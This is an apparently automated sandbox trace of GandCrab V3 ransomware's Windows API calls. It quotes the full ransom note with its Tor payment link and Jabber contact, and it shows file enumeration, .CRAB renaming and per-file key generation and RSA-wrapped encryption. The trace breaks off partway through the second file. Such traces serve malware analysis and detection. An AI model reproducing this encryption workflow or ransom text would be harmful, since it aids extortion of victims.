	[0125.702] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0125.702] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0125.702] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0125.702] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0125.702] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0125.702] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0125.702] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.703] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\\\CRAB-DECRYPT.txt") returned 80
	[0125.703] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0125.704] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0125.704] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0125.705] CloseHandle (hObject=0x3f0) returned 1
	[0125.705] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.705] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\") returned 63
	[0125.705] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\*"
	[0125.705] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0x3158940
	[0125.705] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0125.705] FindNextFileW (in: hFindFile=0x3158940, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0125.705] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0125.705] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0125.705] FindNextFileW (in: hFindFile=0x3158940, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0125.705] lstrcmpW (lpString1="372WcwC5gORqWdRTeA.bmp", lpString2=".") returned 1
	[0125.705] lstrcmpW (lpString1="372WcwC5gORqWdRTeA.bmp", lpString2="..") returned 1
	[0125.706] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\", lpString2="372WcwC5gORqWdRTeA.bmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp"
	[0125.706] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.706] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp") returned 85
	[0125.706] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp") returned 85
	[0125.706] lstrlenW (lpString=".bmp") returned 4
	[0125.706] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.706] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".bmp ") returned 5
	[0125.706] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.707] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp") returned 85
	[0125.707] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp") returned 85
	[0125.707] lstrcmpiW (lpString1="372WcwC5gORqWdRTeA.bmp", lpString2="desktop.ini") returned -1
	[0125.707] lstrcmpiW (lpString1="372WcwC5gORqWdRTeA.bmp", lpString2="autorun.inf") returned -1
	[0125.707] lstrcmpiW (lpString1="372WcwC5gORqWdRTeA.bmp", lpString2="ntuser.dat") returned -1
	[0125.707] lstrcmpiW (lpString1="372WcwC5gORqWdRTeA.bmp", lpString2="iconcache.db") returned -1
	[0125.707] lstrcmpiW (lpString1="372WcwC5gORqWdRTeA.bmp", lpString2="bootsect.bak") returned -1
	[0125.707] lstrcmpiW (lpString1="372WcwC5gORqWdRTeA.bmp", lpString2="boot.ini") returned -1
	[0125.707] lstrcmpiW (lpString1="372WcwC5gORqWdRTeA.bmp", lpString2="ntuser.dat.log") returned -1
	[0125.707] lstrcmpiW (lpString1="372WcwC5gORqWdRTeA.bmp", lpString2="thumbs.db") returned -1
	[0125.707] lstrcmpiW (lpString1="372WcwC5gORqWdRTeA.bmp", lpString2="CRAB-DECRYPT.txt") returned -1
	[0125.707] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.707] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp.CRAB") returned 90
	[0125.707] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\372wcwc5gorqwdrtea.bmp")) returned 0x20
	[0125.708] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp", dwFileAttributes=0x20) returned 1
	[0125.708] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\372wcwc5gorqwdrtea.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\372wcwc5gorqwdrtea.bmp.crab")) returned 1
	[0125.709] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.709] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp.CRAB"
	[0125.709] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp.CRAB.CRAB"
	[0125.709] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0125.710] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.710] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.710] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.710] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0125.710] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.711] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.711] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e6b0) returned 1
	[0125.711] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.712] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.712] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.712] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0125.712] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0125.712] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.712] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.712] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.713] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e5a0) returned 1
	[0125.713] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x3158f00) returned 1
	[0125.713] CryptGetKeyParam (in: hKey=0x3158f00, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0125.713] CryptEncrypt (in: hKey=0x3158f00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0125.714] GetLastError () returned 0x0
	[0125.714] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0125.714] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0125.714] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x3158a80) returned 1
	[0125.714] CryptGetKeyParam (in: hKey=0x3158a80, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0125.714] CryptEncrypt (in: hKey=0x3158a80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0125.715] GetLastError () returned 0x0
	[0125.715] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.715] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\372WcwC5gORqWdRTeA.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\372wcwc5gorqwdrtea.bmp.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0125.715] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.716] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.716] ReadFile (in: hFile=0x3f4, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314b474*=0xddff, lpOverlapped=0x0) returned 1
	[0125.734] VirtualAlloc (lpAddress=0x0, dwSize=0xde00, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.735] VirtualAlloc (lpAddress=0x0, dwSize=0xde00, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0125.737] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.737] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffff2201, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.737] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0xde00, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0xde00, lpOverlapped=0x0) returned 1
	[0125.738] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.738] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.742] WriteFile (in: hFile=0x3f4, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0125.742] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0125.742] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0125.742] CloseHandle (hObject=0x3f4) returned 1
	[0125.743] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.743] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.743] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.743] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.744] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.744] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.744] FindNextFileW (in: hFindFile=0x3158940, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0125.744] lstrcmpW (lpString1="4W1rCz2FZaGS9.ots", lpString2=".") returned 1
	[0125.744] lstrcmpW (lpString1="4W1rCz2FZaGS9.ots", lpString2="..") returned 1
	[0125.744] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\", lpString2="4W1rCz2FZaGS9.ots" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots"
	[0125.744] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.776] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots") returned 80
	[0125.776] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots") returned 80
	[0125.776] lstrlenW (lpString=".ots") returned 4
	[0125.776] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.777] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ots ") returned 5
	[0125.777] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.777] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots") returned 80
	[0125.777] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots") returned 80
	[0125.777] lstrcmpiW (lpString1="4W1rCz2FZaGS9.ots", lpString2="desktop.ini") returned -1
	[0125.777] lstrcmpiW (lpString1="4W1rCz2FZaGS9.ots", lpString2="autorun.inf") returned -1
	[0125.777] lstrcmpiW (lpString1="4W1rCz2FZaGS9.ots", lpString2="ntuser.dat") returned -1
	[0125.777] lstrcmpiW (lpString1="4W1rCz2FZaGS9.ots", lpString2="iconcache.db") returned -1
	[0125.777] lstrcmpiW (lpString1="4W1rCz2FZaGS9.ots", lpString2="bootsect.bak") returned -1
	[0125.777] lstrcmpiW (lpString1="4W1rCz2FZaGS9.ots", lpString2="boot.ini") returned -1
	[0125.777] lstrcmpiW (lpString1="4W1rCz2FZaGS9.ots", lpString2="ntuser.dat.log") returned -1
	[0125.777] lstrcmpiW (lpString1="4W1rCz2FZaGS9.ots", lpString2="thumbs.db") returned -1
	[0125.777] lstrcmpiW (lpString1="4W1rCz2FZaGS9.ots", lpString2="CRAB-DECRYPT.txt") returned -1
	[0125.777] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.778] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots.CRAB") returned 85
	[0125.778] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\4w1rcz2fzags9.ots")) returned 0x20
	[0125.778] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots", dwFileAttributes=0x20) returned 1
	[0125.778] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\4w1rcz2fzags9.ots"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\4w1rcz2fzags9.ots.crab")) returned 1
	[0125.779] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.780] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots.CRAB"
	[0125.780] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots.CRAB.CRAB"
	[0125.780] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6ed98) returned 1
	[0125.781] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.782] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.782] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.782] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0125.782] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0125.782] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.782] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6eb78) returned 1
	[0125.783] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.783] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.783] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.783] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0125.783] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0125.784] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.784] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.784] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.784] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0125.785] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x3158cc0) returned 1
	[0125.785] CryptGetKeyParam (in: hKey=0x3158cc0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0125.785] CryptEncrypt (in: hKey=0x3158cc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0125.785] GetLastError () returned 0x0
	[0125.785] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.785] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e738) returned 1
	[0125.786] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x3158fc0) returned 1
